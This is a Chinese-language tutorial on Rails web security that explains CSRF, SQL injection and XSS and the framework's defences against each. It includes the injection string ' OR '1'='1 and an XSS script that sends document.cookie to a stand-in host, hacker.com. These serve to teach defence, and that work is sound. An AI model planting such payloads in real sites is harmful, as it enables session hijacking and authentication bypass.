Web安全在web开发中占有相当重要的地位,今天介绍下关于web安全方面的问题(CSRF,和注入攻击),以及rails是如何实现来防止这些攻击的。
首先介绍下什么是CSRF?中文名称:跨站请求伪造
- 简介:
跨站请求伪造的工作原理是,通过在页面中包含恶意代码或链接,访问已验证用户才能访问的 Web 应用。如果该 Web 应用的会话未超时,攻击者就能执行未经授权的操作。
原理:
大多数应用都使用基于 cookie 的会话。它们或者把会话 ID 储存在 cookie 中并在服务器端储存会话散列,或者把整个会话散列储存在客户端。不管是哪种情况,只要浏览器能够找到某个域名对应的 cookie,就会自动在发送请求时包含该 cookie。有争议的是,即便请求来源于另一个域名上的网站,浏览器在发送请求时也会包含客户端的 cookie。
举例:
我们在本地分别起两个服务(修改/etc/hosts 将两个域名指向本地,然后通过nginx反向代理),来演示1. www.mubiao.com 为我们要攻击的网站,2. www.hacker.com 为我们自己的网站。假设我们已经猜测出目标网站的某些可用的url,比如:
然后我们在自己的网站上做一些陷阱,在某个页面加入
小陈是目标网站的管理人员,并且已经在目标网站登录了管理员账号,hacker将hacker.com通过某种方式发送给小陈,小陈访问,并且点击会发生什么呢,浏览器会在发送请求的时候带上目标网站的cookie,目标网站会认为这个会话是有效的。所以hacker只要知道目标网站的请求地址,并诱导小陈点击,即可借小陈之手,完成所有想要的操作。
如何防范?
首先,根据 W3C 的要求,应该适当地使用 GET 和 POST HTTP 方法。其次,在非 GET 请求中使用安全令牌(security token)可以防止应用受到 CSRF 攻击
使用 GET HTTP 方法的情形:
当交互更像是在询问时,例如查询、读取、查找等安全操作。
使用 POST HTTP 方法的情形:
当交互更像是在执行命令时;
当交互改变了资源的状态并且这种变化能够被用户察觉时,例如订阅某项服务;
当用户需要对交互结果负责时。原理
那么rails是如何实现安全令牌的呢?
view添加(ajax提交) form表单会自动生成authenticity_token1<%= csrf_meta_tags %>
congroller中添加
csrf_meta_tags helper方法会在页面生成token,protect_from_forgery会添加一个before_action来校验前台传过来的token,具体实现之前秦阳有讲过,就不细说了,放一张流程图。
注入攻击
注入这种攻击方式,会把恶意代码或参数写入 Web 应用,以便在应用的安全上下文中执行。注入攻击最著名的例子是跨站脚本(XSS)和 SQL 注入攻击。
SQL注入
- 举例
|
|
如果用户输入:’ OR ‘1’=’1,会跳过校验。
- 如何防范
推荐的写法为1Product.where(xxx_id: 1).where("status = ? and xx = ?",params[:status],params[:aaa])
Ruby on Rails 内置了针对特殊 SQL 字符的过滤器,用于转义 ‘、”、NULL 和换行符。当我们使用 Model.find(id) 和 Model.find_by_something(something) 方法时,Rails 会自动应用这个过滤器。遇到需要在 SQL 中使用外部字符串的情况时,请养成考虑安全问题的习惯。
- 原理
那rails是如何实现转义的呢,通过查找源码发现,最终调用的是Mysql提供的C接口,接口名称为mysql_real_escape_string
active_record提供了Sanitization类,可以手动调用转义
跨站脚本(XSS)
简介
对 Web 应用而言,XSS 是影响范围最广、破坏性最大的安全漏洞。这种恶意攻击方式会在客户端注入可执行代码。
举例
例如,在留言或者文章中输入:1<script>document.write('<img src="http://www.hacker.com/' + document.cookie + '">');</script>
当用户在浏览目标网站的时候,会向hacker.com发送自己的cookie,导致cookie泄露。
- 防范:
尤其对于 XSS,重要的是使用白名单而不是黑名单过滤输入。白名单过滤规定允许输入的值,反之,黑名单过滤规定不允许输入的值。经验告诉我们,黑名单永远做不到万无一失。
rails提供了sanitize helper方法可以过滤掉有问题的标签
- 原理
通过设置白名单tags,如果不在白名单allowed_tags内,删除。123456789101112131415161718192021222324# actionview-4.1.7/lib/action_view/vendor/html-scanner/html/sanitizer.rbclass WhiteListSanitizer < Sanitizer....self.allowed_tags = Set.new(%w(strong em b i p code pre tt samp kbd var subsup dfn cite big small address hr br div span h1 h2 h3 h4 h5 h6 ul ol li dl dt dd abbracronym a img blockquote del ins))self.allowed_attributes = Set.new(%w(href src width height alt cite datetime title class name xml:lang abbr))....endprivatedef process_attributes_for(node, options)return unless node.attributesnode.attributes.keys.each do |attr_name|value = node.attributes[attr_name].to_sif !options[:attributes].include?(attr_name) || contains_bad_protocols?(attr_name, value)node.attributes.delete(attr_name)elsenode.attributes[attr_name] = attr_name == 'style' ? sanitize_css(value) : CGI::escapeHTML(CGI::unescapeHTML(value))endendend